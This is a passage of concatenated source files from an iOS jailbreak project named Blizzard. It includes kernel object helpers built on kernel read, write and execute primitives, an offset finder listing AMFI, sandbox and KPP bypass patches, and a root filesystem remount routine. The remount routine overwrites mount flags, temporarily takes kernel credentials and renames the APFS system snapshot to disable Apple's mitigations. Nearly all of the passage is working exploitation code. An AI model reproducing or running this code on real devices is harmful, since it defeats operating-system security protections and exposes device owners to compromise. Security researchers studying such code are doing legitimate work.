out, CS_CDHASH_LEN); return 0; } int parse_superblob(uint8_t *code_dir, uint8_t dst[CS_CDHASH_LEN]) { int ret = 1; const CS_SuperBlob *sb = (const CS_SuperBlob *)code_dir; uint8_t highest_cd_hash_rank = 0; for (int n = 0; n < ntohl(sb->count); n++){ const CS_BlobIndex *blobIndex = &sb->index[n]; uint32_t type = ntohl(blobIndex->type); uint32_t offset = ntohl(blobIndex->offset); if (ntohl(sb->length) < offset) { printf("AMFI TOOLS: offset of blob #%d overflows superblob length\n", n); return 1; } const CodeDirectory *subBlob = (const CodeDirectory *)(code_dir + offset); if (type == CSSLOT_CODEDIRECTORY || (type >= CSSLOT_ALTERNATE_CODEDIRECTORIES && type < CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT)) { uint8_t rank = hash_rank(subBlob); if (rank > highest_cd_hash_rank) { ret = get_hash(subBlob, dst); highest_cd_hash_rank = rank; } } } return ret; } ================================================ FILE: AMFI Utilities/cs_blob.h ================================================ //from: xnu osfmk/kern/cs_blobs.h #import typedef struct __attribute__((packed)) { uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */ uint32_t length; /* total length of CodeDirectory blob */ uint32_t version; /* compatibility version */ uint32_t flags; /* setup and mode flags */ uint32_t hashOffset; /* offset of hash slot element at index zero */ uint32_t identOffset; /* offset of identifier string */ uint32_t nSpecialSlots; /* number of special hash slots */ uint32_t nCodeSlots; /* number of ordinary (code) hash slots */ uint32_t codeLimit; /* limit to main image signature range */ uint8_t hashSize; /* size of each hash in bytes */ uint8_t hashType; /* type of hash (cdHashType* constants) */ uint8_t platform; /* platform identifier; zero if not platform binary */ uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */ uint32_t spare2; /* unused (must be zero) */ char end_earliest[0]; /* Version 0x20100 */ uint32_t scatterOffset; /* offset of optional scatter vector */ char end_withScatter[0]; /* Version 0x20200 */ uint32_t teamOffset; /* offset of optional team identifier */ char end_withTeam[0]; /* Version 0x20300 */ uint32_t spare3; /* unused (must be zero) */ uint64_t codeLimit64; /* limit to main image signature range, 64 bits */ char end_withCodeLimit64[0]; /* Version 0x20400 */ uint64_t execSegBase; /* offset of executable segment */ uint64_t execSegLimit; /* limit of executable segment */ uint64_t execSegFlags; /* executable segment flags */ char end_withExecSeg[0]; } CodeDirectory; typedef struct __attribute__((packed)) { uint32_t type; /* type of entry */ uint32_t offset; /* offset of entry */ } CS_BlobIndex; typedef struct __attribute__((packed)) { uint32_t magic; /* magic number */ uint32_t length; /* total length of SuperBlob */ uint32_t count; /* number of index entries following */ CS_BlobIndex index[]; /* (count) entries */ /* followed by Blobs in no particular order as indicated by offsets in index */ } CS_SuperBlob; typedef struct __SC_Scatter { uint32_t count; // number of pages; zero for sentinel (only) uint32_t base; // first page number uint64_t targetOffset; // offset in target uint64_t spare; // reserved } SC_Scatter; /* * Magic numbers used by Code Signing */ enum { CSMAGIC_REQUIREMENT = 0xfade0c00, /* single Requirement blob */ CSMAGIC_REQUIREMENTS = 0xfade0c01, /* Requirements vector (internal requirements) */ CSMAGIC_CODEDIRECTORY = 0xfade0c02, /* CodeDirectory blob */ CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0, /* embedded form of signature data */ CSMAGIC_EMBEDDED_SIGNATURE_OLD = 0xfade0b02, /* XXX */ CSMAGIC_EMBEDDED_ENTITLEMENTS = 0xfade7171, /* embedded entitlements */ CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1, /* multi-arch collection of embedded signatures */ CSMAGIC_BLOBWRAPPER = 0xfade0b01, /* CMS Signature, among other things */ CS_SUPPORTSSCATTER = 0x20100, CS_SUPPORTSTEAMID = 0x20200, CS_SUPPORTSCODELIMIT64 = 0x20300, CS_SUPPORTSEXECSEG = 0x20400, CSSLOT_CODEDIRECTORY = 0, /* slot index for CodeDirectory */ CSSLOT_INFOSLOT = 1, CSSLOT_REQUIREMENTS = 2, CSSLOT_RESOURCEDIR = 3, CSSLOT_APPLICATION = 4, CSSLOT_ENTITLEMENTS = 5, CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000, /* first alternate CodeDirectory, if any */ CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5, /* max number of alternate CD slots */ CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX, /* one past the last */ CSSLOT_SIGNATURESLOT = 0x10000, /* CMS Signature */ CSTYPE_INDEX_REQUIREMENTS = 0x00000002, /* compat with amfi */ CSTYPE_INDEX_ENTITLEMENTS = 0x00000005, /* compat with amfi */ CS_HASHTYPE_SHA1 = 1, CS_HASHTYPE_SHA256 = 2, CS_HASHTYPE_SHA256_TRUNCATED = 3, CS_HASHTYPE_SHA384 = 4, CS_SHA1_LEN = 20, CS_SHA256_LEN = 32, CS_SHA256_TRUNCATED_LEN = 20, CS_CDHASH_LEN = 20, /* always - larger hashes are truncated */ CS_HASH_MAX_SIZE = 48, /* max size of the hash we'll support */ /* * Currently only to support Legacy VPN plugins, * but intended to replace all the various platform code, dev code etc. bits. */ CS_SIGNER_TYPE_UNKNOWN = 0, CS_SIGNER_TYPE_LEGACYVPN = 5, }; /* * Choose among different hash algorithms. * Higher is better, 0 => don't use at all. */ static const uint32_t hashPriorities[] = { CS_HASHTYPE_SHA1, CS_HASHTYPE_SHA256_TRUNCATED, CS_HASHTYPE_SHA256, CS_HASHTYPE_SHA384, }; typedef struct __SC_GenericBlob { uint32_t magic; /* magic number */ uint32_t length; /* total length of blob */ char data[]; } CS_GenericBlob; /* * C form of a CodeDirectory. */ typedef struct __CodeDirectory { uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */ uint32_t length; /* total length of CodeDirectory blob */ uint32_t version; /* compatibility version */ uint32_t flags; /* setup and mode flags */ uint32_t hashOffset; /* offset of hash slot element at index zero */ uint32_t identOffset; /* offset of identifier string */ uint32_t nSpecialSlots; /* number of special hash slots */ uint32_t nCodeSlots; /* number of ordinary (code) hash slots */ uint32_t codeLimit; /* limit to main image signature range */ uint8_t hashSize; /* size of each hash in bytes */ uint8_t hashType; /* type of hash (cdHashType* constants) */ uint8_t platform; /* platform identifier; zero if not platform binary */ uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */ uint32_t spare2; /* unused (must be zero) */ char end_earliest[0]; /* Version 0x20100 */ uint32_t scatterOffset; /* offset of optional scatter vector */ char end_withScatter[0]; /* Version 0x20200 */ uint32_t teamOffset; /* offset of optional team identifier */ char end_withTeam[0]; /* Version 0x20300 */ uint32_t spare3; /* unused (must be zero) */ uint64_t codeLimit64; /* limit to main image signature range, 64 bits */ char end_withCodeLimit64[0]; /* Version 0x20400 */ uint64_t execSegBase; /* offset of executable segment */ uint64_t execSegLimit; /* limit of executable segment */ uint64_t execSegFlags; /* executable segment flags */ char end_withExecSeg[0]; /* followed by dynamic content as located by offset fields above */ } CS_CodeDirectory __attribute__ ((aligned(1))); #define CS_OPS_ENTITLEMENTS_BLOB 7 /* get entitlements blob */ int csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize); struct cs_blob { struct cs_blob *csb_next; cpu_type_t csb_cpu_type; unsigned int csb_flags; off_t csb_base_offset; /* Offset of Mach-O binary in fat binary */ off_t csb_start_offset; /* Blob coverage area start, from csb_base_offset */ off_t csb_end_offset; /* Blob coverage area end, from csb_base_offset */ vm_size_t csb_mem_size; vm_offset_t csb_mem_offset; vm_address_t csb_mem_kaddr; unsigned char csb_cdhash[CS_CDHASH_LEN]; const struct cs_hash *csb_hashtype; vm_size_t csb_hash_pagesize; /* each hash entry represent this many bytes in the file */ vm_size_t csb_hash_pagemask; vm_size_t csb_hash_pageshift; vm_size_t csb_hash_firstlevel_pagesize; /* First hash this many bytes, then hash the hashes together */ const CS_CodeDirectory *csb_cd; const char *csb_teamid; const CS_GenericBlob *csb_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */ void * csb_entitlements; /* The entitlements as an OSDictionary */ unsigned int csb_signer_type; unsigned int csb_reconstituted; // iOS 12 only /* The following two will be replaced by the csb_signer_type. */ unsigned int csb_platform_binary:1; unsigned int csb_platform_path:1; #if __arm64e__ uint64_t csb_pmap_cs_entry; #endif }; typedef void (*cs_md_init)(void *ctx); typedef void (*cs_md_update)(void *ctx, const void *data, size_t size); typedef void (*cs_md_final)(void *hash, void *ctx); struct cs_hash { uint8_t cs_type; /* type code as per code signing */ size_t cs_size; /* size of effective hash (may be truncated) */ size_t cs_digest_size; /* size of native hash */ cs_md_init cs_init; cs_md_update cs_update; cs_md_final cs_final; }; ================================================ FILE: AMFI Utilities/osobject.c ================================================ #import #import "../Kernel Utilities/kexecute.h" #import "../Kernel Utilities/kernel_utils.h" #import "../PatchFinder/patchfinder64.h" #include "../Exploits/sock_port/kernel_memory.h" #import "osobject.h" static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F; static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26; static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23; static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E; static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20; static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22; static uint32_t off_OSObject_Release = sizeof(void*) * 0x05; static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03; static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04; static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11; int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) { size_t len = strlen(key) + 1; uint64_t ks = kalloc(len); kwrite(ks, key, len); uint64_t vtab = rk64(dict); uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP); int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0); kfree(ks, len); return rv; } uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) { size_t len = strlen(key) + 1; uint64_t ks = kalloc(len); kwrite(ks, key, len); uint64_t vtab = rk64(dict); uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP); int rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0); kfree(ks, len); return rv; } uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) { uint64_t ret = _OSDictionary_GetItem(dict, key); if (ret != 0) { ret = ZmFixAddr(ret); } return ret; } int OSDictionary_Merge(uint64_t dict, uint64_t aDict) { uint64_t vtab = rk64(dict); uint64_t f = rk64(vtab + off_OSDictionary_Merge); return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0); } int OSArray_Merge(uint64_t array, uint64_t aArray) { uint64_t vtab = rk64(array); uint64_t f = rk64(vtab + off_OSArray_Merge); return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0); } uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){ uint64_t vtab = rk64(array); uint64_t f = rk64(vtab + off_OSArray_GetObject); return kexecute(f, array, idx, 0, 0, 0, 0, 0); } uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){ uint64_t ret = _OSArray_GetObject(array, idx); if (ret != 0){ ret = ZmFixAddr(ret); } return ret; } void OSArray_RemoveObject(uint64_t array, unsigned int idx){ uint64_t vtab = rk64(array); uint64_t f = rk64(vtab + off_OSArray_RemoveObject); (void)kexecute(f, array, idx, 0, 0, 0, 0, 0); } uint64_t _OSUnserializeXML(const char* buffer) { size_t len = strlen(buffer) + 1; uint64_t ks = kalloc(len); kwrite(ks, buffer, len); uint64_t errorptr = 0; uint64_t rv = kexecute(Find_osunserializexml(), ks, errorptr, 0, 0, 0, 0, 0); kfree(ks, len); return rv; } uint64_t OSUnserializeXML(const char* buffer) { uint64_t ret = _OSUnserializeXML(buffer); if (ret != 0) { ret = ZmFixAddr(ret); } return ret; } void OSObject_Release(uint64_t osobject) { uint64_t vtab = rk64(osobject); uint64_t f = rk64(vtab + off_OSObject_Release); (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); } void OSObject_Retain(uint64_t osobject) { uint64_t vtab = rk64(osobject); uint64_t f = rk64(vtab + off_OSObject_Retain); (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); } uint32_t OSObject_GetRetainCount(uint64_t osobject) { uint64_t vtab = rk64(osobject); uint64_t f = rk64(vtab + off_OSObject_GetRetainCount); return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); } unsigned int OSString_GetLength(uint64_t osstring){ uint64_t vtab = rk64(osstring); uint64_t f = rk64(vtab + off_OSString_GetLength); return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0); } char *OSString_CopyString(uint64_t osstring){ unsigned int length = OSString_GetLength(osstring); char *str = malloc(length + 1); str[length] = 0; kread(OSString_CStringPtr(osstring), str, length); return str; } ================================================ FILE: AMFI Utilities/osobject.h ================================================ #include "../Exploits/sock_port/kernel_memory.h" #define OSDictionary_ItemCount(dict) rk32(dict+20) #define OSDictionary_ItemBuffer(dict) rk64(dict+32) #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx) #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8) #define OSString_CStringPtr(str) rk64(str + 0x10) #define OSArray_ItemCount(arr) rk32(arr+0x14) #define OSArray_ItemBuffer(arr) rk64(arr+32) // see osobject.c for info int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val); uint64_t OSDictionary_GetItem(uint64_t dict, const char *key); int OSDictionary_Merge(uint64_t dict, uint64_t aDict); void OSArray_RemoveObject(uint64_t array, unsigned int idx); uint64_t OSArray_GetObject(uint64_t array, unsigned int idx); int OSArray_Merge(uint64_t array, uint64_t aArray); uint64_t OSUnserializeXML(const char* buffer); void OSObject_Release(uint64_t osobject); void OSObject_Retain(uint64_t osobject); uint32_t OSObject_GetRetainCount(uint64_t osobject); unsigned int OSString_GetLength(uint64_t osstring); char *OSString_CopyString(uint64_t osstring); ================================================ FILE: APFS Utilities/IOKit.h ================================================ // // IOKit.h // Blizzard Jailbreak // // Created by GeoSn0w on 08/10/2020. // Copyright © 2020 Blizzard Jailbreak. All rights reserved. // #ifndef IOKit_h #define IOKit_h #define IO_OBJECT_NULL (0) #include typedef mach_port_t io_service_t; typedef mach_port_t io_connect_t; typedef mach_port_t io_object_t; typedef io_object_t io_registry_entry_t; typedef char io_name_t[128]; typedef char io_struct_inband_t[4096]; extern const mach_port_t kIOMasterPortDefault; kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt); io_service_t IOServiceGetMatchingService(mach_port_t _masterPort, CFDictionaryRef matching); CFMutableDictionaryRef IOServiceMatching(const char* name); kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t* connect); io_service_t IOServiceGetMatchingService(mach_port_t _masterPort, CFDictionaryRef matching); CFMutableDictionaryRef IOServiceMatching(const char* name); kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties); kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t propertyName, io_struct_inband_t buffer, uint32_t * size); io_registry_entry_t IORegistryEntryFromPath(mach_port_t port, char *path); kern_return_t IOObjectRelease(io_object_t object); kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit); #endif /* IOKit_h */ ================================================ FILE: APFS Utilities/liboffsetfinder64.hpp ================================================ // // offsetfinder64.hpp // offsetfinder64 // // Created by tihmstar on 10.01.18. // Copyright © 2018 tihmstar. All rights reserved. // This is from here: https://github.com/tihmstar/liboffsetfinder64 // #ifndef offsetfinder64_hpp #define offsetfinder64_hpp #include #include #include #include #include #include #include typedef uint64_t offset_t; namespace tihmstar { class exception : public std::exception{ std::string _err; int _code; public: exception(int code, std::string err) : _err(err), _code(code) {}; exception(std::string err) : _err(err), _code(0) {}; exception(int code) : _code(code) {}; const char *what(){return _err.c_str();} int code(){return _code;} }; namespace patchfinder64{ typedef uint8_t* loc_t; class patch{ bool _slideme; void(*_slidefunc)(class patch *patch, uint64_t slide); public: const loc_t _location; const void *_patch; const size_t _patchSize; patch(loc_t location, const void *patch, size_t patchSize, void(*slidefunc)(class patch *patch, uint64_t slide) = NULL) : _location(location), _patchSize(patchSize), _slidefunc(slidefunc){ _patch = malloc(_patchSize); memcpy((void*)_patch, patch, _patchSize); _slideme = (_slidefunc) ? true : false; } patch(const patch& cpy) : _location(cpy._location), _patchSize(cpy._patchSize){ _patch = malloc(_patchSize); memcpy((void*)_patch, cpy._patch, _patchSize); _slidefunc = cpy._slidefunc; _slideme = cpy._slideme; } void slide(uint64_t slide){ if (!_slideme) return; printf("sliding with %p\n",(void*)slide); _slidefunc(this,slide); _slideme = false; //only slide once } ~patch(){ free((void*)_patch); } }; } class offsetfinder64 { public: struct text_t{ patchfinder64::loc_t map; size_t size; patchfinder64::loc_t base; bool isExec; }; private: bool _freeKernel; uint8_t *_kdata; size_t _ksize; offset_t _kslide; patchfinder64::loc_t _kernel_entry; std::vector _segments; struct symtab_command *__symtab; void loadSegments(uint64_t slide); __attribute__((always_inline)) struct symtab_command *getSymtab(); public: offsetfinder64(const char *filename); offsetfinder64(void* buf, size_t size, uint64_t base); const void *kdata(); patchfinder64::loc_t find_entry(); const std::vector &segments(){return _segments;}; patchfinder64::loc_t memmem(const void *little, size_t little_len); patchfinder64::loc_t find_sym(const char *sym); patchfinder64::loc_t find_syscall0(); uint64_t find_register_value(patchfinder64::loc_t where, int reg, patchfinder64::loc_t startAddr = 0); /*------------------------ v0rtex -------------------------- */ patchfinder64::loc_t find_zone_map(); patchfinder64::loc_t find_kernel_map(); patchfinder64::loc_t find_kernel_task(); patchfinder64::loc_t find_realhost(); patchfinder64::loc_t find_bzero(); patchfinder64::loc_t find_bcopy(); patchfinder64::loc_t find_copyout(); patchfinder64::loc_t find_copyin(); patchfinder64::loc_t find_ipc_port_alloc_special(); patchfinder64::loc_t find_ipc_kobject_set(); patchfinder64::loc_t find_ipc_port_make_send(); patchfinder64::loc_t find_chgproccnt(); patchfinder64::loc_t find_kauth_cred_ref(); patchfinder64::loc_t find_osserializer_serialize(); uint32_t find_vtab_get_external_trap_for_index(); uint32_t find_vtab_get_retain_count(); uint32_t find_iouserclient_ipc(); uint32_t find_ipc_space_is_task(); uint32_t find_proc_ucred(); uint32_t find_task_bsd_info(); uint32_t find_vm_map_hdr(); uint32_t find_task_itk_self(); uint32_t find_task_itk_registered(); uint32_t find_sizeof_task(); patchfinder64::loc_t find_rop_add_x0_x0_0x10(); patchfinder64::loc_t find_rop_ldr_x0_x0_0x10(); /*------------------------ kernelpatches -------------------------- */ patchfinder64::patch find_i_can_has_debugger_patch_off(); patchfinder64::patch find_lwvm_patch_offsets(); patchfinder64::patch find_remount_patch_offset(); std::vector find_nosuid_off(); patchfinder64::patch find_proc_enforce(); patchfinder64::patch find_amfi_patch_offsets(); patchfinder64::patch find_cs_enforcement_disable_amfi(); patchfinder64::patch find_amfi_substrate_patch(); // patchfinder64::patch find_sandbox_patch(); patchfinder64::loc_t find_sbops(); patchfinder64::patch find_nonceEnabler_patch(); /*------------------------ KPP bypass -------------------------- */ patchfinder64::loc_t find_gPhysBase(); patchfinder64::loc_t find_kernel_pmap(); patchfinder64::loc_t find_cpacr_write(); patchfinder64::loc_t find_idlesleep_str_loc(); patchfinder64::loc_t find_deepsleep_str_loc(); /*------------------------ Util -------------------------- */ patchfinder64::loc_t find_rootvnode(); ~offsetfinder64(); }; using segment_t = std::vector; namespace patchfinder64{ loc_t find_literal_ref(segment_t segemts, offset_t kslide, loc_t pos); } } #endif /* offsetfinder64_hpp */ ================================================ FILE: APFS Utilities/offsetfinder.cpp ================================================ // Based on tihmstar's liboffsetfinder64 which is open source here: // https://github.com/tihmstar/liboffsetfinder64 // Also Coolstar's implementation from Electra. #include #include #include "rootfs_remount.h" #include "liboffsetfinder64.hpp" using namespace std; using namespace tihmstar; extern "C" uint64_t offset_vfs_context_current; extern "C" uint64_t offset_vnode_lookup; extern "C" uint64_t offset_vnode_put; extern "C" bool offsetizeRN(uint64_t slide){ printf("Initializing OffsetFinder...\n"); offsetfinder64 fi("/System/Library/Caches/com.apple.kernelcaches/kernelcache"); try { offset_vfs_context_current = (uint64_t)fi.find_sym("_vfs_context_current"); offset_vnode_lookup = (uint64_t)fi.find_sym("_vnode_lookup"); offset_vnode_put = (uint64_t)fi.find_sym("_vnode_put"); printf(" Offsetfinder: GOT: vfs_context_current: %p\n", (void *)offset_vfs_context_current); printf(" Offsetfinder: GOT: vnode_lookup: %p\n", (void *)offset_vnode_lookup); printf(" Offsetfinder: GOT: vnode_put: %p\n", (void *)offset_vnode_put); offset_vfs_context_current += slide; offset_vnode_lookup += slide; offset_vnode_put += slide; printf("OffsetFinder: The OffsetFinder ran successfully! Continuing...\n"); return true; } catch (tihmstar::exception &e){ printf("OffsetFinder: The OffsetFinder has failed! Aborting... %d (%s)\n", e.code(), e.what()); return false; } catch (std::exception &e){ printf("OffsetFinder: Could not properly initialize the OffsetFinder! %s\n", e.what()); return false; } } ================================================ FILE: APFS Utilities/rootfs_remount.h ================================================ // // rootfs_remount.h // electra1131 // // Created by CoolStar on 6/7/18. // Copyright © 2018 CoolStar. All rights reserved. // #ifndef rootfs_remount_h #define rootfs_remount_h #include #include #include #include #include int file_exists(const char *filename); #define cp(to, from) copyfile(from, to, 0, COPYFILE_ALL) #ifdef __cplusplus extern "C" { #endif extern int shouldReboot; int remountRootFS(void); int unjailbreakBlizzard(void); #ifdef __cplusplus } #endif #endif /* rootfs_remount_h */ ================================================ FILE: APFS Utilities/rootfs_remount.m ================================================ // Thanks to the Electra Team and Pwn20wnd! /* APFS snapshot mitigation bypass bug by CoolStar, exploitation by Pwn20wnd */ /* Disables the new APFS snapshot mitigations introduced in iOS 11.3 */ #include #import #include #include #include #include "rootfs_remount.h" #include "snapshot_tools.h" #include #include "../Exploits/sock_port/kernel_memory.h" #include "../Exploits/sock_port/exploit.h" #include "../Kernel Utilities/kernel_utils.h" #include "../PatchFinder/patchfinder64.h" #include "../Kernel Utilities/kexecute.h" #include "../Exploits/sock_port/offsetof.h" #include "../Kernel Utilities/system_reboot.h" #include "../Blizzard Jailbreak/BlizzardLog.h" #include "../Blizzard Jailbreak/blizzardJailbreak.h" #include "../APFS Utilities/snapshot_tools.h" #define ROOTFSTESTFILE "/.BlizzardJB" #define ROOTFSMNT "/var/rootfsmnt" #define APPLESNAP "com.apple.os.update-" #include "../Kernel Utilities/kernSymbolication.h" uint64_t offset_vfs_context_current; uint64_t offset_vnode_lookup; uint64_t offset_vnode_put; char *diskLocation = "/dev/disk0s1s1"; int shouldReboot = 0; void dumpContentsOfDir(char *path); // From http://newosxbook.com/src.jl?tree=&file=/xnu-1504.15.3/bsd/hfs/hfs_mount.h struct hfs_mount_args { char *fspec; /* block special device to mount */ uid_t hfs_uid; /* uid that owns hfs files (standard HFS only) */ gid_t hfs_gid; /* gid that owns hfs files (standard HFS only) */ mode_t hfs_mask; /* mask to be applied for hfs perms (standard HFS only) */ u_int32_t hfs_encoding; /* encoding for this volume (standard HFS only) */ struct timezone hfs_timezone; /* user time zone info (standard HFS only) */ int flags; /* mounting flags, see below */ int journal_tbuffer_size; /* size in bytes of the journal transaction buffer */ int journal_flags; /* flags to pass to journal_open/create */ int journal_disable; /* don't use journaling (potentially dangerous) */ }; int file_exists(const char *filename) { int r = access(filename, F_OK); return (r == 0); } static uint64_t _vnode_lookup = 0; static uint64_t _vnode_put = 0; static uint64_t _vfs_context_current = 0; int vnode_lookup(const char *path, int flags, uint64_t *vnode, uint64_t vfs_context) { size_t len = strlen(path) + 1; uint64_t ptr = kalloc(8); uint64_t ptr2 = kalloc(len); kwrite(ptr2, path, len); _vnode_lookup = find_symbol("_vnode_lookup", false); if (!_vnode_lookup) _vnode_lookup = Find_vnode_lookup(); else _vnode_lookup += kernel_slide; if (kexecute(_vnode_lookup, ptr2, flags, ptr, vfs_context, 0, 0, 0)) { return -1; } *vnode = rk64(ptr); kfree(ptr2, len); kfree(ptr, 8); return 0; } uint64_t get_vfs_context() { _vfs_context_current = find_symbol("_vfs_context_current", false); if (!_vfs_context_current) _vfs_context_current = Find_vfs_context_current(); else _vfs_context_current += kernel_slide; return ZmFixAddr(kexecute(_vfs_context_current, 1, 0, 0, 0, 0, 0, 0)); } int vnode_put(uint64_t vnode) { _vnode_put = find_symbol("_vnode_put", false); if (!_vnode_put) _vnode_put = Find_vnode_put(); else _vnode_put += kernel_slide; return (int)kexecute(_vnode_put, vnode, 0, 0, 0, 0, 0, 0); } int mountDevAtPathAsRW(const char* devpath, const char* path) { struct hfs_mount_args mntargs; bzero(&mntargs, sizeof(struct hfs_mount_args)); mntargs.fspec = (char*)devpath; mntargs.hfs_mask = 1; gettimeofday(NULL, &mntargs.hfs_timezone); int rvtmp = mount("apfs", path, 0, (void *)&mntargs); perror("mount"); return rvtmp; } uint64_t getVnodeAtPath(const char *path) { uint64_t *vnode_ptr = (uint64_t *)malloc(8); if (vnode_lookup(path, 0, vnode_ptr, get_vfs_context())) { printf("ROOT FS REMOUNT: Unable to get vnode from path for %s\n", path); free(vnode_ptr); return -1; } else { uint64_t vnode = *vnode_ptr; free(vnode_ptr); printf("GOT VNODE: 0x%llx\n", vnode); return vnode; } } BOOL remount1126() { uint64_t rootfs_vnode = getVnodeAtPath("/"); printf("\nROOT FS REMOUNT: vnode of /: 0x%llx\n", rootfs_vnode); uint64_t v_mount = rk64(rootfs_vnode + off_v_mount); uint32_t v_flag = rk32(v_mount + off_mnt_flag); printf("ROOT FS REMOUNT: Clearing FS Flags\n"); printf("ROOT FS REMOUNT: Flags before 0x%x\n", v_flag); v_flag &= ~MNT_NOSUID; v_flag &= ~MNT_RDONLY; v_flag &= ~MNT_ROOTFS; printf("ROOT FS REMOUNT: Flags after 0x%x\n", v_flag); wk32(v_mount + off_mnt_flag, v_flag); char *nmz = strdup("/dev/disk0s1s1"); int rv = mount("apfs", "/", MNT_UPDATE, (void *)&nmz); free(nmz); printf("ROOT FS REMOUNT: Remounting /, return value = %d\n", rv); v_mount = rk64(rootfs_vnode + off_v_mount); wk32(v_mount + off_mnt_flag, v_flag); int fd = open("/RWTEST", O_RDONLY); if (fd == -1) { fd = creat("/RWTEST", 0777); } else { printf("ROOT FS REMOUNT: File already exists! Good!\n"); } close(fd); printf("ROOT FS REMOUNT: %s\n", [[NSFileManager defaultManager] fileExistsAtPath:@"/RWTEST"] ? "Successful!" : "FAILED!"); return [[NSFileManager defaultManager] fileExistsAtPath:@"/RWTEST"] ? YES : NO; } int remountRootFS() { int rv = -1, ret = -1; if (kCFCoreFoundationVersionNumber > 1451.51 && list_snapshots("/")) { printf("****** DOING THE HARD REMOUNT ******\n"); shouldReboot = 1; uint64_t devVnode = getVnodeAtPath("/dev/disk0s1s1"); if (devVnode == 0 || devVnode == -1){ printf("FAIL!\n"); return -1; } uint64_t specinfo = rk64(devVnode + off_v_specinfo); wk32(specinfo + off_specflags, 0); if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/rootfsmnt"]) rmdir("/var/rootfsmnt"); mkdir("/var/rootfsmnt", 0777); chown("/var/rootfsmnt", 0, 0); printf("ROOT FS REMOUNT: Temporarily setting kernel credentials\n"); uint64_t creds = copyPIDCredentials(getpid(), 0); if (mountDevAtPathAsRW("/dev/disk0s1s1", "/var/rootfsmnt")) { printf("ROOT FS REMOUNT: Error mounting root at %s\n", "/var/rootfsmnt"); } else { printf("ROOT FS REMOUNT: Disabling the APFS snapshot mitigations\n"); char *snap = find_system_snapshot(); if (snap && !renameAPFSSnapshot("/var/rootfsmnt", snap, "orig-fs")) { rv = 0; unmount("/var/rootfsmnt", 0); rmdir("/var/rootfsmnt"); } } printf("ROOT FS REMOUNT: Restoring our credentials\n"); uint64_t proc_smp = proc_of_pid(getpid()); wk64(proc_smp + off_p_ucred, creds); vnode_put(devVnode); if (rv) { printf("ROOT FS REMOUNT: Failed to disable the APFS snapshot mitigations\n"); } else { printf("ROOT FS REMOUNT: Disabled the APFS snapshot mitigations\n"); ret = 0; } } else { shouldReboot = 0; ret = 0; remount1126(); } return ret; } extern char* const* environ; int spawnBinaryWithArgs(NSURL *launchPath,NSArray *arguments) { NSMutableArray *posixSpawnArguments=[arguments mutableCopy]; [posixSpawnArguments insertObject:[launchPath lastPathComponent] atIndex:0]; int argc=(int)posixSpawnArguments.count+1; printf("Number of posix_spawn arguments: %d\n",argc); char **args=(char**)calloc(argc,sizeof(char *)); for (int i=0; i= 100 || rv == 0); i++) { usleep(100000); rv = access(filename, F_OK); } return rv; } const char *systemSnapshot(char *bootHash) { if (!bootHash) { return NULL; } return [[NSString stringWithFormat:@APPLESNAP @"%s", bootHash] UTF8String]; } int unjailbreakBlizzard(){ printf("Blizzard 